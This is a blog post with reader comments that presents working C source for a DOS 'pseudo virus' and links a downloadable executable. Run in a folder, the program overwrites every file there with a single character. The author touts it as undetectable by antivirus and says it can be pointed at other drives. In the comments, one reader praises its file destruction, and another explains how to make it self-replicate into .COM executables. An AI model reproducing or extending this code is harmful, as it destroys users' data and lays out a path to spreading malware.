C code of a Pseudo Virus


As the name suggests, it is technically not a virus because it doesn’t perform all the tasks that a computer virus is intended to perform. Thus, this pseudo virus has an advantage over the ordinary viruses i.e. it cannot be detected by an antivirus software. However it does demonstrate the power of C by corrupting all the files of the directory in which it is clicked. Ofcourse the drive and directory can also be changed according to the choice of the programmer. For now I’m just giving the code of a simple program which will corrupt all the files of its directory.

The executable file for this program can be downloaded from here : VIRUS . (To test this file create a seperate folder, put some files there alongwith this executable file and execute it).


#include "stdio.h"
#include "dos.h"
#include "dir.h"
#include "conio.h"
main()
	{ FILE *f2;
	  int done;
	  struct ffblk ffblk;
	  clrscr();
	  done=findfirst("*.*",&ffblk,0);
	  while(!done)
		{ f2=fopen(ffblk.ff_name,"wb");
		 /* if(f2==NULL)
		    { printf("Cannot open specified file ");
		      break;
		    }  */
		  fputc('a',f2);
		  fclose(f2);
		  printf("%s Infected\n",ffblk.ff_name);
		  done=findnext(&ffblk);
		}
	   printf("\n\n\n\t\tLong Live Viruses !!!");
	   getch();
	   return 0;
	 }


Related Posts

  • Share/Bookmark
You can leave a response, or trackback from your own site.

3 Responses to “C code of a Pseudo Virus”

  1. Enoch Lemke says:

    It is really crazy that you posted about this. I found you on bing and I had been searching for information about this. Nice site, thanks for the info. I will come back to check for new entries

  2. Maneesh Prajapati says:

    This virus works very fantastic. we can corrupt the files of any directory……….

  3. d@rk_prince (tushar) says:

    this virus actually only corrupts all files in dir but with little changes u can design a modified version of this which finds and paste its own code into executable file (eg .com) making them also a virus!

    also u can confined infection to particular file format by modifying findfirst method in above program eg:

    done=findfirst(“*.*”,&ffblk,0); can changed by

    done=findfirst(“*.COM”,&ffblk,0); for infecting executable .COM files

    for modified and controlled version of this virus u can e-mail me:
    tusharghude@rediff.com

Leave a Reply

| Shop Free Cellular Phones at Bestincellphones.com. | Thanks to Best CD Rates, iCellPhoneDeals.com Offers Best Cell Phone Deals. and Incinerador De Grasa